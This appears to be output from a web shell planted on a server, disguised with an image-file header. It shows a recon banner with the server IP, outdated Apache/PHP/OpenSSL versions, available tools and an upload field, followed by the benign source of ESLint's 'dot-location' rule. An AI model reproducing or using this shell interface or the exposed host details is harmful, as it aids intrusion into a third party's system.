????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.148.211.202 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/forge/node_modules/eslint/lib/rules/ |
Upload File : |
/** * @fileoverview Validates newlines before and after dots * @author Greg Cochard */ "use strict"; const astUtils = require("../util/ast-utils"); //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ module.exports = { meta: { type: "layout", docs: { description: "enforce consistent newlines before and after dots", category: "Best Practices", recommended: false, url: "https://eslint.org/docs/rules/dot-location" }, schema: [ { enum: ["object", "property"] } ], fixable: "code", messages: { expectedDotAfterObject: "Expected dot to be on same line as object.", expectedDotBeforeProperty: "Expected dot to be on same line as property." } }, create(context) { const config = context.options[0]; // default to onObject if no preference is passed const onObject = config === "object" || !config; const sourceCode = context.getSourceCode(); /** * Reports if the dot between object and property is on the correct loccation. * @param {ASTNode} obj The object owning the property. * @param {ASTNode} prop The property of the object. * @param {ASTNode} node The corresponding node of the token. * @returns {void} */ function checkDotLocation(obj, prop, node) { const dot = sourceCode.getTokenBefore(prop); const textBeforeDot = sourceCode.getText().slice(obj.range[1], dot.range[0]); const textAfterDot = sourceCode.getText().slice(dot.range[1], prop.range[0]); if (dot.type === "Punctuator" && dot.value === ".") { if (onObject) { if (!astUtils.isTokenOnSameLine(obj, dot)) { const neededTextAfterObj = astUtils.isDecimalInteger(obj) ? " " : ""; context.report({ node, loc: dot.loc.start, messageId: "expectedDotAfterObject", fix: fixer => fixer.replaceTextRange([obj.range[1], prop.range[0]], `${neededTextAfterObj}.${textBeforeDot}${textAfterDot}`) }); } } else if (!astUtils.isTokenOnSameLine(dot, prop)) { context.report({ node, loc: dot.loc.start, messageId: "expectedDotBeforeProperty", fix: fixer => fixer.replaceTextRange([obj.range[1], prop.range[0]], `${textBeforeDot}${textAfterDot}.`) }); } } } /** * Checks the spacing of the dot within a member expression. * @param {ASTNode} node The node to check. * @returns {void} */ function checkNode(node) { checkDotLocation(node.object, node.property, node); } return { MemberExpression: checkNode }; } };